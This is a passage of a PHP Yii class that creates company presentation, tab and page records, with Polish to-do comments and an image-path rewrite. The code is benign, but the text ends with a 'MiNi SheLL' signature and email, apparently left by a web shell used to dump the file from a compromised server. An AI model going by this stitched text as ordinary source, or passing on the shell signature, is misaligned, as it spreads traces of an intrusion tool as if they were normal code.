        $modelPresentation->id_company = $idCompany;
        $modelPresentation->id_portal = $assignedPortal['id_portal'];
        $modelPresentation->id_package = $assignedPortal['pakiet'];
        $modelPresentation->status = intval($assignedPortal['status']) === 1 ? Status::ACTIVE : Status::INACTIVE;
        $modelPresentation->settings = '{"visible_contact_data_fields":["name","short_name","street","address_cont","building_number","apartment_number","postcode","locality","region","id_country"]}';
        
        return $modelPresentation;
    }
    
    private function createModelCompaniesPresentationsTabs($presentationTab, $idPresentation)
    {
        $modelPresentationTab = new CompaniesPresentationsTabs(['scenario' => 'create']);
        $modelPresentationTab->id_presentation = $idPresentation;
        $modelPresentationTab->id_tab = $presentationTab['id'];
        $modelPresentationTab->tab_order = $this->tabs[$presentationTab['id']]->tab_order;
        $modelPresentationTab->status = !empty($presentationTab['status']) ? Status::ACTIVE : Status::INACTIVE;
        
        return $modelPresentationTab;
    }
    
    private function createModelCompaniesPresentationsPages($idCompanyTab, $lead = null, $content = null, $idUser = null, $idCompany = null)
    {
        //@todo przetestować czy prawidłowo zamienia ścieżki do obrazków wewnątrz treści
        if(!empty($content) && !empty($idUser) && !empty($idCompany)) {
            //@todo sprawdzić, czy ścieżki zaczynają się od http czy od razu od /img/users
//            $content = preg_replace('#src="http(s)?:\/\/[a-z\.\-]{8,}\/img\/users\/'.$idUser.'\/#i', 'src="'.Yii::getAlias('@companiesImagesUrl').'/'.$idCompany.'/'.Yii::getAlias('@companiesContentsImagesDirName').'/', $content);
            $content = preg_replace('#src="\/img\/users\/'.$idUser.'\/#i', 'src="'.Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/', $content);
        } else {
            $content = 'Uzupełnij';
        }
        
        $modelPresentationPage = new CompaniesPresentationsPages(['scenario' => 'create']);
        $modelPresentationPage->id_company_tab = $idCompanyTab;
        $modelPresentationPage->lead = !empty($lead) ? $lead : 'Uzupełnij'; ;
        $modelPresentationPage->content = $content;
        
        return $modelPresentationPage;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com